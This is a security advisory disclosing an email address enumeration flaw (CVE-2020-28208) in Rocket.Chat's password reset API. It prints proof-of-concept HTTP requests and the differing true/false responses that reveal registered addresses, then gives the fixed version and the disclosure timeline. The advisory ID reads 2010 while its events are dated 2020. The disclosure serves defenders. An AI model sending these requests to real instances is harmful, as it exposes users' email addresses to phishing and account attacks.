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# Trovent Security Advisory 2010-01 #  
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Email address enumeration in reset password  
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Overview  
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Advisory ID: TRSA-2010-01  
Advisory version: 1.1  
Advisory status: Public  
Advisory URL: <https://trovent.io/security-advisory-2010-01>  
Affected product: Web application Rocket.Chat  
Affected version: <= 3.7.1  
Vendor: Rocket.Chat Technologies Corp., <https://rocket.chat>  
Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch

Detailed description  
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Trovent Security GmbH discovered an email address enumeration vulnerability in the password reset function of the chat application Rocket.Chat. This vulnerability lets an unauthorized user enumerate registered email addresses on the instance of Rocket.Chat.

Severity: Medium  
CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)  
CVE ID: CVE-2020-28208  
CWE ID: CWE-204

Proof of concept  
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Sample HTTP request sent with a registered email address:

```
~~~~~  
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1  
Host: localhost:3000  
Content-Length: 122  
Accept: */*  
Content-Type: application/json
```

```
{"message": {"msg": "method", "method": "sendForgotPasswordEmail", "params": {"positive...t.de"}, "id": "3"}}  
~~~~~
```

The server response to a valid email address:

```
~~~~~  
HTTP/1.1 200 OK  
X-XSS-Protection: 1  
X-Content-Type-Options: nosniff  
X-Frame-Options: sameorigin  
X-Instance-ID: DQDfuEfNLdbZr3zYH  
Cache-Control: no-store  
Pragma: no-cache  
content-type: application/json  
Vary: Accept-Encoding  
Date: Tue, 03 Nov 2020 12:01:25 GMT  
Connection: keep-alive  
Content-Length: 78
```

```
{"message": {"msg": "result", "id": "3", "result": true}, "success": true}  
~~~~~
```

Sample HTTP request sent with a non registered email address:

```
~~~~~  
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1  
Host: localhost:3000  
Content-Length: 119  
Accept: */*  
Content-Type: application/json
```

```
{"message": {"msg": "method", "method": "sendForgotPasswordEmail", "params": {"false...t.de"}, "id": "3"}}  
~~~~~
```

The server response to an invalid email address:

```
~~~~~  
HTTP/1.1 200 OK  
X-XSS-Protection: 1  
X-Content-Type-Options: nosniff  
X-Frame-Options: sameorigin  
X-Instance-ID: DQDfuEfNLdbZr3zYH  
Cache-Control: no-store  
Pragma: no-cache  
content-type: application/json  
Vary: Accept-Encoding  
Date: Tue, 03 Nov 2020 12:03:08 GMT  
Connection: keep-alive  
Content-Length: 79
```

```
{"message": {"msg": "result", "id": "3", "result": false}, "success": true}  
~~~~~
```

Solution / Workaround  
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Ensure the application returns consistent generic server responses independent of the email address entered during the password reset process.

Fixed in Rocket.Chat version 3.9.2.

History  
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2020-10-27: Vulnerability found  
2020-11-03: Advisory created and CVE ID requested  
2020-11-06: Vendor contacted and informed about planned disclosure date  
2020-11-06: Vendor confirmed vulnerability, working on a fix  
2021-01-07: Advisory published  
2021-01-08: Vendor sent us information about fixed version

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